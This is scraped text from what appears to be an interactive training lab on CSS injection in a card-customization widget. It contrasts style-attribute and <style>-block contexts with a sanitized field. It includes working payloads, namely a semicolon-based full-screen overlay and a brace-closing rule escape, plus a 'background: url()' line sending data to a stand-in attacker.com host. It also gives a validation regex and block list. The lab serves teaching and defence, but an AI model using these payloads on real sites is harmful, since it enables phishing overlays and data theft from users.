A card customization widget inserts user-supplied values into two different CSS contexts: a style attribute and a <style> block. A third field sanitizes its input. Find which contexts allow arbitrary CSS rules to be injected and which are safe.
CSS injection occurs when user input is placed inside a style attribute or <style> block without sanitization. Adding a semicolon to a style attribute lets attackers append arbitrary CSS properties to the same element. Closing a CSS rule with } inside a <style> block lets attackers write entirely new rules targeting any element on the page. Common impacts include phishing overlays, data exfiltration via background: url(), and UI defacement.
| True Negative | A valid hex color like #4fc3f7 in the border-color field renders the card correctly with no injection. |
| Bug Found | Appending a semicolon to the border-color value injects extra CSS properties into the same style attribute, enabling a full-screen overlay on the card element. |
| Bug Found | Closing the CSS rule with } inside the <style> block lets a new rule target the sentinel indicator, changing its color and proving cross-element CSS injection. |
| True Positive | The sanitized field rejects any input containing ;, }, or url( and only applies the value if it passes a strict color format check. |
The card border color is applied by setting style="border-color: [input]" directly on the element. A semicolon in the input starts a new CSS property declaration inside the same attribute.
(not applied yet)
The card accent color is written into a <style> tag as #card2 { color: [input] }. A closing brace in the input terminates the rule early and lets a new selector target any other element on the page.
(not applied yet)
This field validates input before applying it: only hex colors matching /^#[0-9a-fA-F]{3,6}$/ or lowercase named colors matching /^[a-z]+$/ are accepted. Anything else is rejected without touching the DOM.
(not applied yet)
#4fc3f7 and click Apply - the card border turns blue, no injection (true negative)red; position:fixed; inset:0; background:#fff; z-index:9999 - the semicolon ends the border-color value and the injected properties are applied to the same element, creating a full-screen overlay (bug found)var(--accent) - the card text turns blue, sentinel stays green (true negative)red } #sentinel-dot { background: #f87171 - the closing brace terminates the card rule early; the browser parses the new selector and turns the sentinel red, proving the injection escaped its intended element (bug found)background: url(https://attacker.com?data=...) triggered purely by the browser loading CSS